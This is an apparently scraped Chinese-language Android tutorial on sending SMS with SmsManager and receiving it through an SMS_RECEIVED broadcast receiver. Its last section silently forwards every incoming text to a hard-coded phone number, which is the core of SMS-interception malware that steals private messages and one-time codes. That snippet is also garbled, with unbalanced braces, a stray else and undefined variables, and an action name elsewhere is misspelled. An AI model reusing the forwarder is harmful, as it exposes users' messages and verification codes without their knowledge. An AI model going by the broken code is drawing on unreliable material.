天天看點

發送與接收短信

權限:

<uses-permission android:name="android.permission.READ_SMS"></uses-permission>

< uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

發送短信:

1. 獲得預設的消息管理器

2. 通過sendTextMessage發送短信。

SmsManager sm = SmsManager.getDefault();

sm.sendTextMessage("1888888XXX", null, str, null, null);

接收短信

收到短信時,會發出一個action名稱為android.provier.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接管到的短信内容,應用名稱

“pdus”即可從Intent中擷取短信内容

registerReceiver(new BroadcastReceiver(){

@Override

 public void onReceive(Context context, Intent intent) {

 // TODO Auto-generated method stub

 Bundle bundle = intent.getExtras();       

 SmsMessage msgs = null;

 String str = "";           

 if (bundle != null)

 {

  //---retrieve the SMS message received---

  Object[] pdus = (Object[]) bundle.get("pdus");         

  for (int i=0;i<pdus.length; i++){

    msgs=SmsMessage.createFromPdu((byte[])pdus[i]);           

    str += msgs.getMessageBody().toString();

   }

 }    

}

}, new IntentFilter("android.provider.Telephony.SMS_RECEIVED"));

發送與接收內建

context.registerReceiver(new BroadcastReceiver(){

public void onReceive(Context context, Intent intent) {

 //---retrieve the SMS message received---

 for (int i=0; i<pdus.length; i++ {

 msgs =SmsMessage.createFromPdu((byte[])pdus[i]);                     

str += msgs.getMessageBody().toString();  

else {                 // forwarding sms

sm.sendTextMessage("16467080XXX", null, str, null, null);

}    

}, new IntentFilter("android.provider.Telephony.SMS_RECEIVED")); 

繼續閱讀